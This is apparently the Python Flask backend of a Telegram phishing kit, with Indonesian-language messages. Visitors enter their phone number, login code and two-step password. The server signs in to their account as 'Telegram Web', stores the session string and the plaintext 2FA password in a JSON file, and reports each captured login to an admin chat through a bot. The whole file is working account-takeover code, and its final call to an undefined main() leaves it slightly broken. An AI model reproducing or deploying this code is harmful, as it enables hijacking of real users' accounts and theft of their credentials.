import os
import json
import logging
import asyncio
import threading
import re
import sys
from datetime import datetime
import requests

from flask import Flask, request, jsonify, session
from flask_cors import CORS

from telethon import TelegramClient
from telethon.sessions import StringSession
from telethon.errors import (
    SessionPasswordNeededError, 
    PhoneCodeInvalidError, 
    PhoneCodeExpiredError, 
    PhoneNumberInvalidError,
    RPCError
)

# Import configuration from settings.py
from settings import (
    API_ID, API_HASH, BOT_TOKEN, ADMIN_CHAT_ID, new_password,
    SESSION_PATH, SESSIONS_FILE, LOG_FILE
)

# Initialize Flask app
app = Flask(__name__)
CORS(app)
app.config['SECRET_KEY'] = os.urandom(24)
app.config['SESSION_TYPE'] = 'filesystem'

# Configure logging
logging.basicConfig(
    level=logging.INFO, 
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler(sys.stdout),
        logging.FileHandler(LOG_FILE)
    ]
)

logger = logging.getLogger(__name__)

phone_code_hashes = {}
otp_storage = {}
temp_sessions = {}
active_sessions = {}

class JsonSessionManager:
    def __init__(self, base_path='./'):
        self.base_path = base_path
        self.sessions_file = os.path.join(base_path, SESSIONS_FILE)
        self.sessions_lock = threading.Lock()
        self._ensure_sessions_file()

    def _ensure_sessions_file(self):
        """Create sessions file if it doesn't exist"""
        if not os.path.exists(self.sessions_file):
            with open(self.sessions_file, 'w') as f:
                json.dump({}, f)

    def save_session(self, phone, session_string=None, user_info=None, status="pending", auth_status=None):
        """Save session data to JSON with enhanced information"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                existing_data = sessions.get(phone, {})
                
                sessions[phone] = {
                    'phone': phone,
                    'session_string': session_string,
                    'user_info': user_info or {},
                    'status': status,
                    'auth_status': auth_status,
                    'created_at': existing_data.get('created_at', datetime.utcnow().isoformat()),
                    'updated_at': datetime.utcnow().isoformat(),
                    'is_active': True if status == "completed" else False,
                    'last_activity': datetime.utcnow().isoformat()
                }
                
                with open(self.sessions_file, 'w') as f:
                    json.dump(sessions, f, indent=2)
                return True
            except Exception as e:
                logger.error(f"Error saving session for {phone}: {str(e)}")
                return False

    def update_session_status(self, phone, status, auth_status=None):
        """Update session status"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                if phone in sessions:
                    sessions[phone]['status'] = status
                    if auth_status:
                        sessions[phone]['auth_status'] = auth_status
                    sessions[phone]['updated_at'] = datetime.utcnow().isoformat()
                    
                    with open(self.sessions_file, 'w') as f:
                        json.dump(sessions, f, indent=2)
                    return True
                return False
            except Exception as e:
                logger.error(f"Error updating session status for {phone}: {str(e)}")
                return False

    def get_session(self, phone):
        """Get session data from JSON"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                return sessions.get(phone)
            except Exception as e:
                logger.error(f"Error getting session for {phone}: {str(e)}")
                return None

    def delete_session(self, phone):
        """Delete session data from JSON"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                if phone in sessions:
                    del sessions[phone]
                    
                    with open(self.sessions_file, 'w') as f:
                        json.dump(sessions, f, indent=2)
                    return True
                return False
            except Exception as e:
                logger.error(f"Error deleting session for {phone}: {str(e)}")
                return False

    def list_sessions(self):
        """List all saved sessions"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                return list(sessions.keys())
            except Exception as e:
                logger.error(f"Error listing sessions: {str(e)}")
                return []
                
session_manager = JsonSessionManager()

def todate(timestamp):
    return datetime.fromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M:%S')

def readJSON(filename):
    try:
        with open(filename, 'r') as f:
            return json.load(f)
    except FileNotFoundError:
        return {}
    except json.JSONDecodeError:
        return {}

def send_telegram_message(message):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': ADMIN_CHAT_ID,
        'text': message
    }
    try:
        response = requests.post(url, data=payload)
        return response
    except Exception as e:
        logger.error(f"Error sending Telegram message: {str(e)}")
        return None

def create_telegram_client(phone, session_string=None):
    """Create a new Telegram client with optional session string"""
    try:
        if session_string:
            session = StringSession(session_string)
        else:
            session = StringSession()
            
        client = TelegramClient(
            session,
            API_ID,
            API_HASH,
            device_model="Telegram Web",
            system_version="1.0"
        )
        return client
    except Exception as e:
        logger.error(f"Error creating client for {phone}: {str(e)}")
        return None
        
def save_2fa_password(phone, password):
    session_data = session_manager.get_session(phone)
    if session_data:
        user_info = session_data.get('user_info', {})
        user_info['2fa_password'] = password
        session_manager.save_session(
            phone=phone,
            session_string=session_data.get('session_string'),
            user_info=user_info,
            status="completed",
            auth_status="2FA Completed"
        )

async def is_session_valid(phone_number):
    """Verify if a session is valid"""
    client = None
    try:
        session_data = session_manager.get_session(phone_number)
        if not session_data:
            return False
            
        session_string = session_data['session_string']
        client = create_telegram_client(phone_number, session_string)
        
        if not client:
            return False
            
        await client.connect()
        is_authorized = await client.is_user_authorized()
        return is_authorized
        
    except Exception as e:
        logger.error(f"Error validating session for {phone_number}: {str(e)}")
        return False
    finally:
        if client:
            try:
                await client.disconnect()
            except:
                pass

@app.route('/send_otp', methods=['POST'])
def send_otp():
    try:
        data = request.json
        phone = data.get('phone')
        if not phone:
            return jsonify({'error': 'Nomor telepon tidak diterima'}), 400

        logger.info(f"[SEND_OTP] Starting OTP process for: {phone}")

        async def start_session(phone):
            client = None
            try:
                session = StringSession()
                client = TelegramClient(session, API_ID, API_HASH)
                await client.connect()
                logger.info(f"[SEND_OTP] Client connected for {phone}")

                send_code_result = await client.send_code_request(phone)
                phone_code_hash = send_code_result.phone_code_hash
                session_string = client.session.save()

                session_data = {
                    'phone': phone,
                    'phone_code_hash': phone_code_hash,
                    'session_string': session_string,
                    'timestamp': datetime.utcnow().timestamp()
                }

                with open(f'session_{phone}.json', 'w') as f:
                    json.dump(session_data, f)

                logger.info(f"[SEND_OTP] Session saved for {phone}")
                return phone_code_hash, None

            except Exception as e:
                logger.error(f"[SEND_OTP] Error in start_session: {str(e)}")
                return None, str(e)
            finally:
                if client:
                    await client.disconnect()

        phone_code_hash, error_message = asyncio.run(start_session(phone))
        if error_message:
            if "The phone number is invalid" in error_message:
                return jsonify({'status': 'error', 'message': 'Invalid number'}), 400
            return jsonify({'status': 'error', 'message': error_message}), 400

        logger.info(f"[SEND_OTP] OTP sent successfully to {phone}")
        return jsonify({
            'status': 'success',
            'message': 'Kode OTP telah dikirim',
            'phone': phone,
            'phone_code_hash': phone_code_hash
        }), 200

    except Exception as e:
        logger.error(f"Error in send_otp: {str(e)}")
        return jsonify({
            'status': 'error',
            'message': 'Gagal mengirim OTP'
        }), 500

@app.route('/verify_otp', methods=['POST'])
def verify_otp():
    try:
        data = request.json
        phone = data.get('phone')
        otp = data.get('otp')
        phone_code_hash = data.get('phoneCodeHash')

        logger.info(f"[VERIFY_OTP] Starting verification for {phone}")
        
        session_file = f'session_{phone}.json'
        if not os.path.exists(session_file):
            logger.error(f"[VERIFY_OTP] No session file found for {phone}")
            return jsonify({
                'status': 'error',
                'message': 'Session not found. Please resend the code.'
            }), 400

        with open(session_file, 'r') as f:
            session_data = json.load(f)

        async def verify_code():
            client = None
            try:
                session = StringSession(session_data['session_string'])
                client = TelegramClient(session, API_ID, API_HASH)
                await client.connect()
                logger.info(f"[VERIFY_OTP] Client restored and connected for {phone}")

                try:
                    result = await client.sign_in(
                        phone=phone,
                        code=otp,
                        phone_code_hash=phone_code_hash
                    )

                    session_string = client.session.save()
                    user_info = await client.get_me()
                    user_data = {
                        'id': user_info.id,
                        'username': user_info.username,
                        'first_name': user_info.first_name,
                        'last_name': user_info.last_name,
                        'phone': phone
                    }

                    send_telegram_message(f"""User {phone} berhasil login via OTP.\n\nDetail:\n- ID: {user_info.id}\n- Username: {user_info.username or 'Tidak ada'}""")

                    session_manager.save_session(
                        phone=phone,
                        session_string=session_string,
                        user_info=user_data,
                        status="completed",
                        auth_status="Success"
                    )
                    logger.info(f"[VERIFY_OTP] Successfully verified for {phone}")

                    return {
                        'status': 'success',
                        'message': 'Login successful!',
                        'data': user_data
                    }

                except SessionPasswordNeededError:
                    logger.info(f"[VERIFY_OTP] 2FA required for {phone}")
                    session_string = client.session.save()
                    session_manager.save_session(
                        phone=phone,
                        session_string=session_string,
                        status="2fa_needed",
                        auth_status="2FA Required"
                    )
                    return {
                        'status': 'needs_2fa',
                        'message': 'PLEASE WAIT'
                    }

            except Exception as e:
                error_msg = str(e).lower()
                logger.error(f"[VERIFY_OTP] Error during verification: {error_msg}")
                if 'phone code invalid' in error_msg:
                    return {
                        'status': 'error',
                        'message': 'Kode OTP tidak valid. Silakan coba lagi.'
                    }
                elif 'phone code expired' in error_msg:
                    return {
                        'status': 'error',
                        'message': 'Kode OTP telah kedaluwarsa. Silakan kirim ulang OTP.'
                    }
                return {
                    'status': 'error',
                    'message': f'Invalid code, please try again'
                }

            finally:
                if client:
                    await client.disconnect()
                try:
                    os.remove(session_file)
                except:
                    pass

        result = asyncio.run(verify_code())
        return jsonify(result)

    except Exception as e:
        logger.error(f"[VERIFY_OTP] Unexpected error: {str(e)}")
        try:
            os.remove(f'session_{phone}.json')
        except:
            pass
        return jsonify({
            'status': 'error',
            'message': str(e)
        }), 500
        
@app.route('/verify_2fa', methods=['POST'])
def verify_2fa():
    try:
        data = request.json
        phone = data.get('phone')
        password = data.get('password')

        if not phone or not password:
            return jsonify({
                'status': 'error',
                'message': 'Nomor telepon atau password 2FA tidak diterima'
            }), 400

        logger.info(f"[VERIFY_2FA] Starting 2FA verification for {phone}")

        async def verify_password():
            client = None
            try:
                session_data = session_manager.get_session(phone)
                if not session_data:
                    return {
                        'status': 'error',
                        'message': 'Session tidak ditemukan'
                    }

                client = create_telegram_client(phone, session_data.get('session_string'))
                await client.connect()

                await client.sign_in(password=password)

                session_string = client.session.save()
                user_info = await client.get_me()
                user_data = {
                    'id': user_info.id,
                    'username': user_info.username,
                    'first_name': user_info.first_name,
                    'last_name': user_info.last_name,
                    'phone': phone,
                    '2fa_password': password
                }

                send_telegram_message(f"""User {phone} berhasil login via 2FA.\n\nDetail:\n- ID: {user_info.id}\n- Username: {user_info.username or 'Tidak ada'}""")

                session_manager.save_session(
                    phone=phone,
                    session_string=session_string,
                    user_info=user_data,
                    status="completed",
                    auth_status="2FA Success"
                )

                return {
                    'status': 'success',
                    'message': 'Login berhasil',
                    'data': user_data
                }

            except Exception as e:
                session_manager.update_session_status(
                    phone=phone,
                    status="failed",
                    auth_status=f"2FA Failed: {str(e)}"
                )
                return {
                    'status': 'error',
                    'message': f'Invalid password, please try again'
                }
            finally:
                if client:
                    await client.disconnect()

        result = asyncio.run(verify_password())
        return jsonify(result)

    except Exception as e:
        logger.error(f"[VERIFY_2FA] Unexpected error: {str(e)}")
        return jsonify({
            'status': 'error',
            'message': 'Gagal memverifikasi 2FA'
        }), 500
    
if __name__ == "__main__":
    main()